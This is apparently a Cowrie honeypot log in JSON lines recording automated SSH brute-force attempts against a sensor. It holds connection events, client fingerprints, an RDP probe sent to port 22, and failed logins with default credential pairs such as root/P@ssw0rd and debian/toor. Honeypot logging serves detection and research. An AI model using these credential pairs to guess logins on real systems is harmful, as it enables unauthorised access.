{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:21.197906Z","src_ip":"91.92.42.133","session":"22fcef06100d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:22.710979Z","src_ip":"91.92.42.133","session":"22fcef06100d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:23.895383Z","src_ip":"91.92.42.133","session":"22fcef06100d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":45028,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fe3888df90c","protocol":"ssh","message":"New connection: 91.92.40.171:45028 (159.203.135.109:22) [session: 5fe3888df90c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:25.030629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:25.088645Z","src_ip":"91.92.40.171","session":"5fe3888df90c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:25.165939Z","src_ip":"91.92.40.171","session":"5fe3888df90c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"toor","message":"login attempt [debian/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:25.555886Z","src_ip":"91.92.40.171","session":"5fe3888df90c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.227.254.155","src_port":65458,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dcfd9e7196d","protocol":"ssh","message":"New connection: 45.227.254.155:65458 (10.17.0.5:22) [session: 9dcfd9e7196d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:26.554186Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000/*\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=Administr","message":"Remote SSH version: \u0003\u0000\u0000/*\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=Administr","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:26.558882Z","src_ip":"45.227.254.155","session":"9dcfd9e7196d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:26.562618Z","src_ip":"45.227.254.155","session":"9dcfd9e7196d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:26.681674Z","src_ip":"91.92.40.171","session":"5fe3888df90c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51206,"dst_ip":"159.203.135.109","dst_port":22,"session":"87925b33132e","protocol":"ssh","message":"New connection: 91.92.42.133:51206 (159.203.135.109:22) [session: 87925b33132e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:28.014057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:28.139555Z","src_ip":"91.92.42.133","session":"87925b33132e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:28.142917Z","src_ip":"91.92.42.133","session":"87925b33132e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:29.522224Z","src_ip":"91.92.42.133","session":"87925b33132e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":45104,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c2d82453ebc","protocol":"ssh","message":"New connection: 91.92.40.171:45104 (159.203.135.109:22) [session: 1c2d82453ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:30.463527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:30.549789Z","src_ip":"91.92.40.171","session":"1c2d82453ebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:30.666183Z","src_ip":"91.92.40.171","session":"1c2d82453ebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:30.845652Z","src_ip":"91.92.42.133","session":"87925b33132e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:31.121833Z","src_ip":"91.92.40.171","session":"1c2d82453ebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:32.249832Z","src_ip":"91.92.40.171","session":"1c2d82453ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45684,"dst_ip":"159.203.135.109","dst_port":22,"session":"96e6a7b93eaf","protocol":"ssh","message":"New connection: 91.92.42.133:45684 (159.203.135.109:22) [session: 96e6a7b93eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:34.699871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:34.908901Z","src_ip":"91.92.42.133","session":"96e6a7b93eaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:34.915233Z","src_ip":"91.92.42.133","session":"96e6a7b93eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123","message":"login attempt [guest/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:36.663808Z","src_ip":"91.92.42.133","session":"96e6a7b93eaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35884,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc94e7d5ac12","protocol":"ssh","message":"New connection: 91.92.40.171:35884 (159.203.135.109:22) [session: dc94e7d5ac12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:37.654504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:37.691093Z","src_ip":"91.92.40.171","session":"dc94e7d5ac12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:38.008836Z","src_ip":"91.92.42.133","session":"96e6a7b93eaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:38.805187Z","src_ip":"91.92.40.171","session":"dc94e7d5ac12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35940,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0b1bddf1122","protocol":"ssh","message":"New connection: 91.92.40.171:35940 (159.203.135.109:22) [session: b0b1bddf1122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:41.343482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:41.542521Z","src_ip":"91.92.40.171","session":"b0b1bddf1122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:41.545702Z","src_ip":"91.92.40.171","session":"b0b1bddf1122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45756,"dst_ip":"159.203.135.109","dst_port":22,"session":"c16c5f954435","protocol":"ssh","message":"New connection: 91.92.42.133:45756 (159.203.135.109:22) [session: c16c5f954435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:41.695953Z"}
{"eventid":"cowrie.session.closed","duration":50.19055771827698,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:41.785899Z","src_ip":"128.199.8.54","session":"1ac56cc1be48","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:41.994015Z","src_ip":"91.92.42.133","session":"c16c5f954435","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:41.997390Z","src_ip":"91.92.42.133","session":"c16c5f954435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:42.472874Z","src_ip":"91.92.40.171","session":"b0b1bddf1122","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"root","message":"login attempt [home/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:42.686296Z","src_ip":"91.92.40.171","session":"dc94e7d5ac12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:43.046904Z","src_ip":"91.92.42.133","session":"c16c5f954435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:43.674658Z","src_ip":"91.92.40.171","session":"b0b1bddf1122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:44.267235Z","src_ip":"91.92.42.133","session":"c16c5f954435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:44.921921Z","src_ip":"91.92.40.171","session":"dc94e7d5ac12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":41904,"dst_ip":"159.203.135.109","dst_port":22,"session":"76ed71acf4e8","protocol":"ssh","message":"New connection: 91.92.40.171:41904 (159.203.135.109:22) [session: 76ed71acf4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:46.947877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:06:47.084334Z","src_ip":"91.92.40.171","session":"76ed71acf4e8","protocol":"ssh"}
